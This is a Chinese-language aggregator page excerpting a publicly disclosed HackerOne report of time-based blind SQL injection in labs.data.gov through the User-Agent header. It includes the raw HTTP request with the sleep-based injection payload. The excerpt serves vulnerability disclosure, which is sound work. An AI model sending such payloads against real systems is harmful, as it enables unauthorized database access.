SQL injection in https://labs.data.gov/dashboard/datagov/csv_to_json via User-agent
该报告还没有中文解读。
原文摘录
摘自原文（2637 字符中的一小部分）
I've identified an SQL injection vulnerability in the website **labs.data.gov** that affects the endpoint `/dashboard/datagov/csv_to_json` and can be exploited via the **User-Agent** HTTP header.
原文中的代码
GET /dashboard/datagov/csv_to_json HTTP/1.1 Referer: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR' X-Forwarded-For: 1 X-Requested-With: XMLHttpRequest Host: labs.data.gov Connection: Keep-alive …
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 GSA Bounty 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @harisec · 版权归作者与 GSA Bounty 所有